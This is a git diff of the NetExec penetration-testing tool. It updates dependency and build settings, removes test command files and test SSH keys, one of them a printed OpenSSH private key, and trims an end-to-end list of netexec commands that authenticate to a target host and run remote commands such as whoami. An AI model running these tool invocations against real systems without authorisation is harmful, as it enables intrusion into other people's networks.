+953
-910
File diff suppressed because it is too large.
Load diff
+10
-15
@@ -33,17 +33,17 @@ NetExec = 'nxc.netexec:main'
|
||||
nxcdb = 'nxc.nxcdb:main'
|
||||
|
||||
[tool.poetry.dependencies]
|
||||
python = "^3.8.0"
|
||||
python = "^3.7.0"
|
||||
requests = ">=2.27.1"
|
||||
beautifulsoup4 = ">=4.11,<5"
|
||||
lsassy = ">=3.1.8"
|
||||
termcolor = "2.0.1"
|
||||
msgpack = "^1.0.0"
|
||||
neo4j = "^5.0.0"
|
||||
neo4j = "^4.1.1" # do not upgrade this until performance regression issues in 5 are fixed (as of 9/23)
|
||||
pylnk3 = "^0.4.2"
|
||||
pypsrp = "^0.8.1"
|
||||
paramiko = "^3.3.1"
|
||||
impacket = { git = "https://github.com/fortra/impacket.git" }
|
||||
impacket = { git = "https://github.com/Pennyw0rth/impacket.git", branch = "gkdi" }
|
||||
dsinternals = "^1.2.4"
|
||||
xmltodict = "^0.13.0"
|
||||
terminaltables = "^3.1.0"
|
||||
@@ -61,24 +61,19 @@ aiosqlite = "^0.19.0"
|
||||
pyasn1-modules = "^0.3.0"
|
||||
rich = "^13.3.5"
|
||||
python-libnmap = "^0.7.3"
|
||||
argcomplete = "^3.1.4"
|
||||
python-dateutil = ">=2.8.2"
|
||||
poetry-dynamic-versioning = "^1.2.0"
|
||||
resource = "^0.2.1"
|
||||
oscrypto = { git = "https://github.com/Pennyw0rth/oscrypto" } # Pypi version currently broken, see: https://github.com/wbond/oscrypto/issues/78 (as of 9/23)
|
||||
pyreadline = "^2.1" # for the build - impacket imports its hidden from the builder so an error occurs
|
||||
ruff = "=0.0.292"
|
||||
|
||||
[tool.poetry.group.dev.dependencies]
|
||||
flake8 = "*"
|
||||
shiv = "*"
|
||||
pytest = "^7.2.2"
|
||||
ruff = "=0.0.292"
|
||||
|
||||
[build-system]
|
||||
requires = ["poetry-core>=1.2.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"]
|
||||
build-backend = "poetry_dynamic_versioning.backend"
|
||||
|
||||
[tool.poetry-dynamic-versioning]
|
||||
enable = true
|
||||
pattern = "(?P<base>\\d+\\.\\d+\\.\\d+)"
|
||||
format = "{base}+{commit}"
|
||||
requires = ["poetry-core>=1.2.0"]
|
||||
build-backend = "poetry.core.masonry.api"
|
||||
|
||||
[tool.ruff]
|
||||
# Ruff doesn't enable pycodestyle warnings (`W`) or
|
||||
@@ -128,4 +123,4 @@ target-version = "py37"
|
||||
[tool.ruff.flake8-quotes]
|
||||
docstring-quotes = "double"
|
||||
inline-quotes = "double"
|
||||
multiline-quotes = "double"
|
||||
multiline-quotes = "double"
|
||||
+1
-1
@@ -5,7 +5,7 @@
|
||||
* Run `pytest` (or `poetry run pytest`)
|
||||
|
||||
### End to End Tests
|
||||
* Install nxc (either in venv or via Poetry): `poetry install --with dev`
|
||||
* Install nxc (either in venv or via Poetry)
|
||||
* Run `python tests/e2e_tests.py -t $IP -u $USER -p $PASS`, with optional `-k` parameter
|
||||
* Poetry: `poetry run python tests/e2e_tests.py -t $IP -u $USER -p $PASS`
|
||||
* To see full errors (that might show real errors not caught by checking the exit code), run with the `--errors` flag
|
||||
@@ -1,2 +0,0 @@
|
||||
ls
|
||||
whoami
|
||||
@@ -1,2 +0,0 @@
|
||||
dir
|
||||
whoami
|
||||
@@ -1,5 +0,0 @@
|
||||
ls
|
||||
[Environment]::UserName
|
||||
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name
|
||||
$env:username
|
||||
$(Get-CimInstance Win32_ComputerSystem | select username).username
|
||||
File renamed without changes.
@@ -1 +0,0 @@
|
||||
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCe4iQRJEJsKPmp8kyO3ZlJ1mHLKPcfQuMiNW3f4I0ldl6ywr54zpiPZgCof+vVQnyduq1nmvboEKN/epUJmD6jrkPfdDG22hkX/We/5bKyC62BbDhrZ8dqZcop8Qu+SBpWxdwX+cqsO+UT/qm7D9SzY6OYfzkTX+OQVcHBbVUWcphJTbcbPwJ2HZ1FGGLW0Fh8Tnvvh11kFB7sQYYDGGgKGjBcXTqGf6J/Y3P31u+HRVxz8S+nem1Ox/DDoXtjCO7Z98YhQDctidzj/92r12tPDHIw23b4MSCYOR/TKiYocwCS+nYMq5cjUSiWNraq+yL2RLIIMKaGT1ajac+QyOlvaXq7Z0kPF2VbrVOm3rIEw/AYfOAIh08BsenhkhoBilWtmky4VpURkLh4bgvV/91RKd04E1sYNsytcZ/0wXJAHc0RKZrHl/QjjJZ0LH+CMii/8PdbmW9IiSIXV3nqlGP931bekBoacZHbYIftXT1wGmRVT2lPQ7C3E2Gm43Kpy8M= marshall@ubuntu22desktop
|
||||
@@ -1,8 +0,0 @@
|
||||
-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABAPVonLaG
|
||||
iqZXrvtilLcRgqAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGLeGGNZVSMPCxm/
|
||||
Wt0ggSNt8L9ne9o68sRfzLl1HC+tAAAAkNPAbX5WGE5c8chM5f8evbWPgK+mmKSdHu/N9X
|
||||
wGtM5icWYbrd+PZpRKP8NzyndXHYCsDj0T1/xSmnWjPzyvBuQ8r2nONbQ0QwpXY67p6PI7
|
||||
rB1e/wznadGzHSEdRYBK1wvph0t8NUfE5DcD8uMQLb4FpcvkS0VU9FWQ+WLw//6n0XcU/W
|
||||
wOHJOzQY12jSMBeA==
|
||||
-----END OPENSSH PRIVATE KEY-----
|
||||
@@ -1 +0,0 @@
|
||||
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGLeGGNZVSMPCxm/Wt0ggSNt8L9ne9o68sRfzLl1HC+t TESTING-KEY
|
||||
@@ -183,8 +183,6 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M user-de
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M user-desc --options
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami --options
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pso
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pso --options
|
||||
##### WINRM
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami
|
||||
|
||||
File renamed without changes.
@@ -7,13 +7,13 @@ from nxc.nxcdb import delete_workspace, NXCDBMenu
|
||||
from nxc.first_run import first_run_setup
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.paths import WORKSPACE_DIR
|
||||
from nxc.paths import WS_PATH
|
||||
from sqlalchemy.dialects.sqlite import Insert
|
||||
|
||||
|
||||
@pytest.fixture(scope="session")
|
||||
def db_engine():
|
||||
db_path = os.path.join(WORKSPACE_DIR, "test/smb.db")
|
||||
db_path = os.path.join(WS_PATH, "test/smb.db")
|
||||
db_engine = create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
|
||||
yield db_engine
|
||||
db_engine.dispose()
|
||||
|
||||
Reference in new issue
Block a user